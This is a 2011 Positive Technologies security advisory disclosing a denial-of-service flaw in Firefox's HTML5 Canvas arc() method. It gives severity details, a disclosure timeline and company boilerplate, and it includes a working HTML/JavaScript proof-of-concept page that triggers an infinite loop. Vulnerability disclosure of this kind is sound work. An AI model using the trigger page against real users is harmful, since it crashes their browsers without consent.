(PT-2011-16) Positive Technologies Security Advisory
Denial Of Service in Mozilla Firefox
Vulnerable software
Mozilla Firefox
Version 3.6.12-16.0 and possibly earlier
Application link:
http://www.mozilla.com/en-US/firefox/new/
Severity level
Severity level: Medium
Impact: Denial of Service
Access Vector: Network exploitable
CVSS v2:
Base Score: 5
Vector: (AV:N/AC:L/Au:N/C:N/I:N/A:P)
CVE: not assigned
Software description
Mozilla Firefox is the second most widely used web browser.
Vulnerability description
Positive Research Center has discovered a Denial of Service vulnerability in Mozilla Firefox.
Due to insufficient checks of input parameters of HTML5 Canvas' Arc() method, Mozilla Firefox allows a remote attacker to cause a denial of service (infinite loop).
Example of HTML code triggering the vulnerability:
<html>
<head>
<script type="text/javascript">
window.onload = function() {
var drawingCanvas = document.getElementById('can');
if(drawingCanvas && drawingCanvas.getContext) {
var context = drawingCanvas.getContext('2d');
context.arc(100,100,50,999999999999999999999999999999, 0, true);
}
}
</script>
</head>
<body>
<canvas id="can" width="200" height="200">
<p>sorry, no html5.</p>
</canvas>
</body>
</html>
How to fix
Update your software up to the latest version.
Advisory status
29.06.2011 - Vendor is notified
15.07.2011 - Vendor gets vulnerability details
14.09.2011 - Vulnerability details were sent to CERT
18.10.2011 - Public disclosure
Credits
The vulnerability was detected by Alexander Zaitsev, Positive Research Center (Positive Technologies Company)
References
http://en.securitylab.ru/lab/PT-2011-16
Reports on the vulnerabilities previously discovered by Positive Research:
http://www.ptsecurity.com/advisory1.aspx
http://en.securitylab.ru/lab/
About Positive Technologies
Positive Technologies www.ptsecurity.com is among the key players in the IT security market in Russia.
The principal activities of the company include the development of integrated tools for information security monitoring (MaxPatrol); providing IT security consulting services and technical support; development of the Securitylab leading Russian information security portal.
Among the clients of Positive Technologies, there are more than 40 state enterprises, more than 50 banks and financial organizations,
20 telecommunication companies, more than 40 plant facilities, as well as IT, service and retail companies from Russia, the CIS countries, the Baltic States, China, Ecuador, Germany, Great Britain, Holland, Iran, Israel, Japan, Mexico, the Republic of South Africa, Thailand, Turkey, and the USA.
Positive Technologies is a team of highly skilled developers, advisers and experts with years of vast hands-on experience. The company specialists possess professional titles and certificates; they are the members of various international societies and are actively involved in the IT security field development.
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